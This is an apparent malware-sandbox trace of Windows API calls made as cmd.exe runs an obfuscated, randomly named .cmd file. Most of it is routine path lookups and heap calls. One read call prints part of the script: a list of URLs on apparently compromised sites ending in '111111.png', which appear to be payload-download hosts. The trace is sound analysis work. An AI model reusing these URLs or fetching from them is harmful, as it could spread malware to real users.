0x2 [0228.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.348] GetLastError () returned 0x2 [0228.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.349] GetLastError () returned 0x2 [0228.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.349] GetLastError () returned 0x2 [0228.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.349] GetLastError () returned 0x2 [0228.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.349] GetLastError () returned 0x2 [0228.349] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.349] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.349] GetLastError () returned 0x2 [0228.349] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d030 [0228.350] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0228.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.350] GetLastError () returned 0x2 [0228.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.350] GetLastError () returned 0x2 [0228.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.350] GetLastError () returned 0x2 [0228.350] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.351] GetLastError () returned 0x2 [0228.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.351] GetLastError () returned 0x2 [0228.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.351] GetLastError () returned 0x2 [0228.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.351] GetLastError () returned 0x2 [0228.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.351] GetLastError () returned 0x2 [0228.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.351] GetLastError () returned 0x2 [0228.351] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.352] GetLastError () returned 0x2 [0228.352] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.352] GetLastError () returned 0x2 [0228.352] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.352] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.352] GetLastError () returned 0x2 [0228.352] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.352] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.352] GetLastError () returned 0x2 [0228.352] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.353] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.353] GetLastError () returned 0x2 [0228.353] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.353] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.353] GetLastError () returned 0x2 [0228.353] ??_V@YAXPEAX@Z () returned 0x1 [0228.353] _get_osfhandle (_FileHandle=2) returned 0x54 [0228.353] GetFileType (hFile=0x54) returned 0x2 [0228.353] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0228.354] _get_osfhandle (_FileHandle=2) returned 0x54 [0228.354] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0228.354] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0228.354] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0228.354] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0228.358] ??_V@YAXPEAX@Z () returned 0x1 [0228.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.359] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0228.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.359] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0228.359] _get_osfhandle (_FileHandle=0) returned 0x4c [0228.359] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0228.360] SetConsoleInputExeNameW () returned 0x1 [0228.360] GetConsoleOutputCP () returned 0x1b5 [0228.360] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0228.360] SetThreadUILanguage (LangId=0x0) returned 0x409 [0228.360] ??_V@YAXPEAX@Z () returned 0x1 [0228.361] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0228.361] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0228.361] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.362] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3436, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6c [0228.362] GetProcessHeap () returned 0x20b0f920000 [0228.362] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0228.362] GetProcessHeap () returned 0x20b0f920000 [0228.362] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0228.362] GetProcessHeap () returned 0x20b0f920000 [0228.362] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0228.362] GetProcessHeap () returned 0x20b0f920000 [0228.362] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0228.363] GetProcessHeap () returned 0x20b0f920000 [0228.363] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957240) returned 1 [0228.363] GetProcessHeap () returned 0x20b0f920000 [0228.363] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0228.363] GetProcessHeap () returned 0x20b0f920000 [0228.363] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0228.363] GetProcessHeap () returned 0x20b0f920000 [0228.363] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0228.363] GetProcessHeap () returned 0x20b0f920000 [0228.363] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0228.363] GetProcessHeap () returned 0x20b0f920000 [0228.363] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0228.364] GetProcessHeap () returned 0x20b0f920000 [0228.364] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0228.364] GetProcessHeap () returned 0x20b0f920000 [0228.364] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0228.364] GetProcessHeap () returned 0x20b0f920000 [0228.364] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0228.364] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.364] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6c [0228.364] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xa49, lpOverlapped=0x0) returned 1 [0228.364] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3527, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdc7 [0228.364] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0228.365] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.365] GetFileType (hFile=0x9c) returned 0x1 [0228.365] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.365] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc7 [0228.365] GetProcessHeap () returned 0x20b0f920000 [0228.365] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0228.365] GetProcessHeap () returned 0x20b0f920000 [0228.365] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0228.365] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0228.365] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0228.365] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0228.365] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0228.365] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0228.365] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0228.365] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0228.365] GetProcessHeap () returned 0x20b0f920000 [0228.365] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0228.365] GetProcessHeap () returned 0x20b0f920000 [0228.365] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0228.366] GetProcessHeap () returned 0x20b0f920000 [0228.366] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f926ea0 [0228.366] _tell (_FileHandle=3) returned 3527 [0228.366] _close (_FileHandle=3) returned 0 [0228.366] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0228.366] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.366] GetFileType (hFile=0x50) returned 0x2 [0228.366] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.368] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.368] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0228.372] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0228.372] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0228.372] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0228.372] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.372] GetFileType (hFile=0x50) returned 0x2 [0228.372] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.373] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.373] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0228.374] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.374] GetFileType (hFile=0x50) returned 0x2 [0228.374] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.374] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.374] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0228.375] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0228.375] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.375] GetFileType (hFile=0x50) returned 0x2 [0228.375] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.375] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.375] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0228.376] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0228.376] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.376] GetFileType (hFile=0x50) returned 0x2 [0228.376] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.378] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.378] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0228.384] malloc (_Size=0xffce) returned 0x20b0fa60940 [0228.386] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0228.387] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.387] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.387] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.387] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.387] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.387] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.387] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.387] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.387] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.388] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.388] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.388] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.388] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.388] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.388] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.388] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.388] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.388] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.388] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.388] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.388] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.388] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.388] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.388] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.388] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.388] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.388] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.388] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.388] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.388] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.388] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.388] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.389] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.389] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.389] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.389] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.389] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.389] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.389] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.389] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.389] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.389] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.389] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0228.389] malloc (_Size=0xffce) returned 0x20b0fa70920 [0228.389] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0228.390] GetProcessHeap () returned 0x20b0f920000 [0228.390] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0228.393] SetErrorMode (uMode=0x0) returned 0x0 [0228.393] SetErrorMode (uMode=0x1) returned 0x0 [0228.393] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0228.393] SetErrorMode (uMode=0x0) returned 0x1 [0228.393] GetProcessHeap () returned 0x20b0f920000 [0228.394] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0228.394] GetProcessHeap () returned 0x20b0f920000 [0228.394] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0228.394] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0228.394] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.394] GetProcessHeap () returned 0x20b0f920000 [0228.394] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0228.394] GetProcessHeap () returned 0x20b0f920000 [0228.394] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0228.394] GetProcessHeap () returned 0x20b0f920000 [0228.394] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0228.394] GetProcessHeap () returned 0x20b0f920000 [0228.394] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0228.394] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.394] GetProcessHeap () returned 0x20b0f920000 [0228.394] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0228.394] GetProcessHeap () returned 0x20b0f920000 [0228.395] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0228.395] GetProcessHeap () returned 0x20b0f920000 [0228.395] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0228.395] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.395] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d0f0 [0228.395] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0228.395] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.396] GetLastError () returned 0x2 [0228.396] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.396] GetLastError () returned 0x2 [0228.396] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.396] GetLastError () returned 0x2 [0228.396] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.397] GetLastError () returned 0x2 [0228.397] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.397] GetLastError () returned 0x2 [0228.397] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.397] GetLastError () returned 0x2 [0228.398] FindFirstFileExW (in: 